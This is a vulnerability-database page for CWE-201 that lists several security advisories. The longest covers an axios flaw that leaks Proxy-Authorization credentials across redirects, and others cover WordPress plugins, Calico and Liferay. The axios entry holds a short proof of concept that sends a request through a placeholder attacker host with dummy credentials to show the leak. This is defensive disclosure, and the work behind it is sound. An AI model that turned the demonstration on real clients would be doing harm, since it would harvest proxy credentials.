CWE-201
AllowedInsertion of Sensitive Information Into Sent Data
Abstraction: Base · Status: Draft
The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.
750 vulnerabilities reference this CWE, most recent first.
GHSA-P92Q-9VQR-4J8V
Vulnerability from github – Published: 2026-06-04 14:19 – Updated: 2026-06-12 19:24Summary
Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.
This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.
Impact
A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.
The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.
The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.
Affected Functionality
Affected functionality requires all of the following:
- Axios running in Node.js with the HTTP adapter.
- An initial
http://request using an authenticated proxy fromconfig.proxyor proxy environment variables. - Redirect following enabled.
- A redirect target for which no proxy applies, such as no matching
HTTPS_PROXYor a matchingNO_PROXY. - A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.
Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.
Technical Details
In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.
Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.
The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NO_PROXY, different proxy targets, casing variants, and an end-to-end redirect flow.
The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.
Proof of Concept of Attack
Safe local outline using dummy credentials:
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');
Expected vulnerable behaviour:
Proxy receives initial request:
Proxy-Authorization: Basic dXNlcjpwYXNz
Final HTTPS origin receives redirected request:
Proxy-Authorization: Basic dXNlcjpwYXNz
Expected fixed behaviour:
Final HTTPS origin receives no Proxy-Authorization header.
Workarounds
Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.
Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.
Original Source ### Summary Axios’s Node.js `http` adapter can incorrectly forward a retained `Proxy-Authorization` header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows. When an initial HTTP request is sent through an authenticated `HTTP_PROXY`, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale `Proxy-Authorization` header and forwards it to the final origin. ### Details The issue occurs during a proxy-to-direct transition across redirects. When Axios sends an initial HTTP request through an authenticated `HTTP_PROXY`, it correctly includes `Proxy-Authorization` for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy. In the affected flow, the final HTTPS origin receives a `Proxy-Authorization` header value that was intended only for the outbound proxy. Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent. #### Root Cause Analysis Based on code review, Axios appears to create the stale header condition in its Node.js `http` adapter. In lib/adapters/http.js: - When a proxy is used, Axios adds `Proxy-Authorization` in setProxy(). - Axios also re-runs proxy resolution after redirects via its redirect hook. - However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header. As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct. A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes. #### Client Conditions - the initial HTTP request uses an authenticated `HTTP_PROXY` - no proxy applies to the redirected HTTPS URL (for example, no `HTTPS_PROXY` is configured) - redirects are followed - the redirect is treated as same-host by the redirect layer Under that redirect shape, the retained `Proxy-Authorization` header is not removed before the redirected request is sent to the final HTTPS origin. ### Reproduction Outline Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details. The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials. The issue was confirmed under the following conditions: - axios 1.13.6 - follow-redirects 1.15.11 - an authenticated proxy applying to the initial HTTP request - no proxy applying to the redirected HTTPS URL - redirects enabled - an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer #### Observed behavior - The initial HTTP request is sent through the proxy and includes `Proxy-Authorization`. - The redirected HTTPS request is sent directly to the final origin. - The redirected HTTPS request still includes the previously generated `Proxy-Authorization` header. - The final origin can receive a `Proxy-Authorization` header value that was intended only for the proxy. #### Expected behavior Axios should not send the `Proxy-Authorization` header on a redirected request that is no longer sent through a proxy. ### Impact Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained `Proxy-Authorization` header value that was intended only for the outbound proxy. If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls.{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.16.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.1"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.32.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44487"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-04T14:19:53Z",
"nvd_published_at": "2026-06-11T17:16:32Z",
"severity": "HIGH"
},
"details": "## Summary\n\nAxios\u2019s Node.js HTTP adapter may forward a `Proxy-Authorization` header to a redirected origin during specific proxy-to-direct redirect flows.\n\nThis affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.\n\n## Impact\n\nA malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.\n\nThe leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.\n\nThe practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy\u2019s own network exposure, authorisation policy, and credential scope.\n\n## Affected Functionality\n\nAffected functionality requires all of the following:\n\n- Axios running in Node.js with the HTTP adapter.\n- An initial `http://` request using an authenticated proxy from `config.proxy` or proxy environment variables.\n- Redirect following enabled.\n- A redirect target for which no proxy applies, such as no matching `HTTPS_PROXY` or a matching `NO_PROXY`.\n- A redirect shape treated as same-host or otherwise not stripped by the redirect layer\u2019s confidential-header handling.\n\nUnaffected functionality includes browser adapters, requests with `maxRedirects: 0`, requests without proxy credentials, and redirect flows where the redirect layer strips `Proxy-Authorization` before axios reconfigures the redirected request.\n\n## Technical Details\n\nIn affected versions, `lib/adapters/http.js` adds `Proxy-Authorization` in `setProxy()` when a proxy with credentials is used.\n\nAxios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, `setProxy()` did not clear a `Proxy-Authorization` header inherited from the previous request options. If `follow-redirects` did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.\n\nThe `1.x` fix in commit `afca61a` changes `setProxy(options, configProxy, location, isRedirect)` so redirect re-invocation removes every case variant of `Proxy-Authorization` before applying proxy settings for the next hop. Regression tests in `tests/unit/adapters/http.test.js` cover no-proxy redirects, `NO_PROXY`, different proxy targets, casing variants, and an end-to-end redirect flow.\n\nThe `0.x` fixed release `0.32.0` includes a backport-style `removeProxyAuthorization()` guard in `lib/adapters/http.js`.\n\n## Proof of Concept of Attack\n\nSafe local outline using dummy credentials:\n\n```js\nprocess.env.HTTP_PROXY = \u0027http://user:pass@127.0.0.1:8080\u0027;\ndelete process.env.HTTPS_PROXY;\n\n// The local HTTP proxy receives this request and returns:\n// HTTP/1.1 302 Found\n// Location: https://attacker.test/final\nawait axios.get(\u0027http://attacker.test/start\u0027);\n```\n\nExpected vulnerable behaviour:\n\n```text\nProxy receives initial request:\nProxy-Authorization: Basic dXNlcjpwYXNz\n\nFinal HTTPS origin receives redirected request:\nProxy-Authorization: Basic dXNlcjpwYXNz\n```\n\nExpected fixed behaviour:\n\n```text\nFinal HTTPS origin receives no Proxy-Authorization header.\n```\n\n## Workarounds\n\nSet `maxRedirects: 0` and handle redirects manually, ensuring `Proxy-Authorization` is not copied to requests that are not sent through the proxy.\n\nAvoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.\n\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\n\nAxios\u2019s Node.js `http` adapter can incorrectly forward a retained `Proxy-Authorization` header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.\n\nWhen an initial HTTP request is sent through an authenticated `HTTP_PROXY`, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale `Proxy-Authorization` header and forwards it to the final origin.\n\n### Details\n\nThe issue occurs during a proxy-to-direct transition across redirects.\n\nWhen Axios sends an initial HTTP request through an authenticated `HTTP_PROXY`, it correctly includes `Proxy-Authorization` for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.\n\nIn the affected flow, the final HTTPS origin receives a `Proxy-Authorization` header value that was intended only for the outbound proxy.\n\nWhether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent.\n\n#### Root Cause Analysis\n\nBased on code review, Axios appears to create the stale header condition in its Node.js `http` adapter.\n\nIn lib/adapters/http.js:\n- When a proxy is used, Axios adds `Proxy-Authorization` in setProxy().\n- Axios also re-runs proxy resolution after redirects via its redirect hook.\n- However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.\n\nAs a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.\n\nA dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.\n\n#### Client Conditions\n- the initial HTTP request uses an authenticated `HTTP_PROXY`\n- no proxy applies to the redirected HTTPS URL (for example, no `HTTPS_PROXY` is configured)\n- redirects are followed\n- the redirect is treated as same-host by the redirect layer\n\nUnder that redirect shape, the retained `Proxy-Authorization` header is not removed before the redirected request is sent to the final HTTPS origin.\n\n### Reproduction Outline\n\nDetailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.\n\nThe issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.\n\nThe issue was confirmed under the following conditions:\n\n- axios 1.13.6\n- follow-redirects 1.15.11\n- an authenticated proxy applying to the initial HTTP request\n- no proxy applying to the redirected HTTPS URL\n- redirects enabled\n- an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer\n\n#### Observed behavior\n\n- The initial HTTP request is sent through the proxy and includes `Proxy-Authorization`.\n- The redirected HTTPS request is sent directly to the final origin.\n- The redirected HTTPS request still includes the previously generated `Proxy-Authorization` header.\n- The final origin can receive a `Proxy-Authorization` header value that was intended only for the proxy.\n\n#### Expected behavior\n\nAxios should not send the `Proxy-Authorization` header on a redirected request that is no longer sent through a proxy.\n\n### Impact\n\nUnder the affected redirect and proxy configuration, the final HTTPS origin may receive a retained `Proxy-Authorization` header value that was intended only for the outbound proxy.\n\nIf that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment\u2019s proxy credential, subject to the credential\u2019s scope and the proxy\u2019s access controls.\n\u003c/details\u003e\n\n---",
"id": "GHSA-p92q-9vqr-4j8v",
"modified": "2026-06-12T19:24:47Z",
"published": "2026-06-04T14:19:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44487"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.32.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.16.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter"
}
GHSA-PF46-GQJ7-27QR
Vulnerability from github – Published: 2026-01-08 12:30 – Updated: 2026-01-20 15:33Insertion of Sensitive Information Into Sent Data vulnerability in AITpro BulletProof Security bulletproof-security allows Retrieve Embedded Sensitive Data.This issue affects BulletProof Security: from n/a through <= 6.9.
{
"affected": [],
"aliases": [
"CVE-2025-67931"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-08T10:15:52Z",
"severity": "HIGH"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in AITpro BulletProof Security bulletproof-security allows Retrieve Embedded Sensitive Data.This issue affects BulletProof Security: from n/a through \u003c= 6.9.",
"id": "GHSA-pf46-gqj7-27qr",
"modified": "2026-01-20T15:33:10Z",
"published": "2026-01-08T12:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67931"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/bulletproof-security/vulnerability/wordpress-bulletproof-security-plugin-6-9-sensitive-data-exposure-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/bulletproof-security/vulnerability/wordpress-bulletproof-security-plugin-6-9-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PF59-J7C2-RH6X
Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2024-05-22 16:49Clusters using Calico (version 3.14.0 and below), Calico Enterprise (version 2.8.2 and below), may be vulnerable to information disclosure if IPv6 is enabled but unused. A compromised pod with sufficient privilege is able to reconfigure the node’s IPv6 interface due to the node accepting route advertisement by default, allowing the attacker to redirect full or partial network traffic from the node to the compromised pod.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/projectcalico/calico"
},
"ranges": [
{
"events": [
{
"introduced": "3.14.0"
},
{
"fixed": "3.14.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/projectcalico/calico"
},
"ranges": [
{
"events": [
{
"introduced": "3.13.0"
},
{
"fixed": "3.13.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/projectcalico/calico"
},
"ranges": [
{
"events": [
{
"introduced": "3.12.0"
},
{
"fixed": "3.12.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/projectcalico/calico"
},
"ranges": [
{
"events": [
{
"introduced": "3.11.0"
},
{
"fixed": "3.11.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/projectcalico/calico"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.0"
},
{
"fixed": "3.10.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/projectcalico/calico"
},
"ranges": [
{
"events": [
{
"introduced": "3.9.0"
},
{
"fixed": "3.9.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/projectcalico/calico"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.8.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-13597"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-201"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-14T16:27:14Z",
"nvd_published_at": "2020-06-03T17:15:00Z",
"severity": "MODERATE"
},
"details": "Clusters using Calico (version 3.14.0 and below), Calico Enterprise (version 2.8.2 and below), may be vulnerable to information disclosure if IPv6 is enabled but unused. A compromised pod with sufficient privilege is able to reconfigure the node\u2019s IPv6 interface due to the node accepting route advertisement by default, allowing the attacker to redirect full or partial network traffic from the node to the compromised pod.",
"id": "GHSA-pf59-j7c2-rh6x",
"modified": "2024-05-22T16:49:10Z",
"published": "2022-02-15T01:57:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13597"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/kubernetes/issues/91507"
},
{
"type": "WEB",
"url": "https://github.com/containernetworking/plugins/pull/484"
},
{
"type": "WEB",
"url": "https://github.com/containernetworking/plugins/commit/ad10b6fa91aacd720f1f9ab94341a97a82a24965"
},
{
"type": "PACKAGE",
"url": "https://github.com/projectcalico/calico"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#!topic/kubernetes-security-announce/BMb_6ICCfp8"
},
{
"type": "WEB",
"url": "https://www.projectcalico.org/security-bulletins"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Exposure of Sensitive Information to an Unauthorized Actor and Insertion of Sensitive Information Into Sent Data in Calico"
}
GHSA-PFHC-6C7H-5CC4
Vulnerability from github – Published: 2026-08-06 15:32 – Updated: 2026-08-06 15:32Contributor Sensitive Data Exposure in Gutenberg Blocks by Kadence Blocks <= 3.7.8 versions.
{
"affected": [],
"aliases": [
"CVE-2026-66696"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-06T15:17:22Z",
"severity": "MODERATE"
},
"details": "Contributor Sensitive Data Exposure in Gutenberg Blocks by Kadence Blocks \u003c= 3.7.8 versions.",
"id": "GHSA-pfhc-6c7h-5cc4",
"modified": "2026-08-06T15:32:48Z",
"published": "2026-08-06T15:32:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66696"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/kadence-blocks/vulnerability/wordpress-gutenberg-blocks-by-kadence-blocks-plugin-3-7-8-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PG38-RRRW-WHRQ
Vulnerability from github – Published: 2026-03-25 18:31 – Updated: 2026-03-25 21:30Insertion of Sensitive Information Into Sent Data vulnerability in Noor Alam SMTP Mailer smtp-mailer allows Retrieve Embedded Sensitive Data.This issue affects SMTP Mailer: from n/a through <= 1.1.24.
{
"affected": [],
"aliases": [
"CVE-2026-32538"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-25T17:17:07Z",
"severity": "HIGH"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in Noor Alam SMTP Mailer smtp-mailer allows Retrieve Embedded Sensitive Data.This issue affects SMTP Mailer: from n/a through \u003c= 1.1.24.",
"id": "GHSA-pg38-rrrw-whrq",
"modified": "2026-03-25T21:30:35Z",
"published": "2026-03-25T18:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32538"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/smtp-mailer/vulnerability/wordpress-smtp-mailer-plugin-1-1-24-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PG5X-HFC4-9689
Vulnerability from github – Published: 2025-01-31 09:31 – Updated: 2026-04-01 18:33Insertion of Sensitive Information Into Sent Data vulnerability in UkrSolution Barcode Generator for WooCommerce allows Retrieve Embedded Sensitive Data. This issue affects Barcode Generator for WooCommerce: from n/a through 2.0.2.
{
"affected": [],
"aliases": [
"CVE-2025-24597"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-31T09:15:10Z",
"severity": "MODERATE"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in UkrSolution Barcode Generator for WooCommerce allows Retrieve Embedded Sensitive Data. This issue affects Barcode Generator for WooCommerce: from n/a through 2.0.2.",
"id": "GHSA-pg5x-hfc4-9689",
"modified": "2026-04-01T18:33:31Z",
"published": "2025-01-31T09:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24597"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/embedding-barcodes-into-product-pages-and-orders/vulnerability/wordpress-barcode-generator-for-woocommerce-plugin-2-0-2-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PH63-CHVV-8X46
Vulnerability from github – Published: 2025-09-23 00:32 – Updated: 2025-09-23 15:10In Liferay Portal 7.4.0 through 7.4.3.112, and older unsupported versions, and Liferay DXP 2023.Q4.0 through 2023.Q4.8, 2023.Q3.1 through 2023.Q3.10, 7.4 GA through update 92, and older unsupported versions the audit events records a user’s password reminder answer, which allows remote authenticated users to obtain a user’s password reminder answer via the audit events.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay:com.liferay.portal.security.audit.event.generators.user.management"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-43814"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-23T15:10:59Z",
"nvd_published_at": "2025-09-22T23:15:37Z",
"severity": "MODERATE"
},
"details": "In Liferay Portal 7.4.0 through 7.4.3.112, and older unsupported versions, and Liferay DXP 2023.Q4.0 through 2023.Q4.8, 2023.Q3.1 through 2023.Q3.10, 7.4 GA through update 92, and older unsupported versions the audit events records a user\u2019s password reminder answer, which allows remote authenticated users to obtain a user\u2019s password reminder answer via the audit events.",
"id": "GHSA-ph63-chvv-8x46",
"modified": "2025-09-23T15:10:59Z",
"published": "2025-09-23T00:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43814"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/6d0f123c838b96fd71fb97f422366ffa43391121"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/76c9c38f21614bf0dca877057b13f6a449c041e8"
},
{
"type": "PACKAGE",
"url": "https://github.com/liferay/liferay-portal"
},
{
"type": "WEB",
"url": "https://liferay.atlassian.net/browse/LPE-17937"
},
{
"type": "WEB",
"url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-43814"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Liferay Portal and DXP audit events record password reminder answers"
}
GHSA-PH64-RJ79-FWM3
Vulnerability from github – Published: 2025-01-22 15:32 – Updated: 2026-04-01 18:33Insertion of Sensitive Information Into Sent Data vulnerability in NotFound WPDB to Sql allows Retrieve Embedded Sensitive Data. This issue affects WPDB to Sql: from n/a through 1.2.
{
"affected": [],
"aliases": [
"CVE-2025-23774"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-22T15:15:23Z",
"severity": "HIGH"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in NotFound WPDB to Sql allows Retrieve Embedded Sensitive Data. This issue affects WPDB to Sql: from n/a through 1.2.",
"id": "GHSA-ph64-rj79-fwm3",
"modified": "2026-04-01T18:33:21Z",
"published": "2025-01-22T15:32:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23774"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wpdb-to-sql/vulnerability/wordpress-wpdb-to-sql-plugin-1-2-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PHQX-4W4V-55PJ
Vulnerability from github – Published: 2026-01-05 12:30 – Updated: 2026-04-01 18:36Insertion of Sensitive Information Into Sent Data vulnerability in Awethemes AweBooking allows Retrieve Embedded Sensitive Data.This issue affects AweBooking: from n/a through 3.2.26.
{
"affected": [],
"aliases": [
"CVE-2025-68014"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-05T11:17:41Z",
"severity": "MODERATE"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in Awethemes AweBooking allows Retrieve Embedded Sensitive Data.This issue affects AweBooking: from n/a through 3.2.26.",
"id": "GHSA-phqx-4w4v-55pj",
"modified": "2026-04-01T18:36:31Z",
"published": "2026-01-05T12:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68014"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/awebooking/vulnerability/wordpress-awebooking-plugin-3-2-26-sensitive-data-exposure-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/wordpress/plugin/awebooking/vulnerability/wordpress-awebooking-plugin-3-2-26-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PJWP-P686-RPWJ
Vulnerability from github – Published: 2025-01-07 12:31 – Updated: 2026-04-01 18:33Insertion of Sensitive Information Into Sent Data vulnerability in WPSpins Post/Page Copying Tool allows Retrieve Embedded Sensitive Data.This issue affects Post/Page Copying Tool: from n/a through 2.0.0.
{
"affected": [],
"aliases": [
"CVE-2024-56300"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-07T11:15:13Z",
"severity": "HIGH"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in WPSpins Post/Page Copying Tool allows Retrieve Embedded Sensitive Data.This issue affects Post/Page Copying Tool: from n/a through 2.0.0.",
"id": "GHSA-pjwp-p686-rpwj",
"modified": "2026-04-01T18:33:02Z",
"published": "2025-01-07T12:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56300"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/postpage-import-export-with-custom-fields-taxonomies/vulnerability/wordpress-post-page-copying-tool-plugin-2-0-0-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.
Mitigation
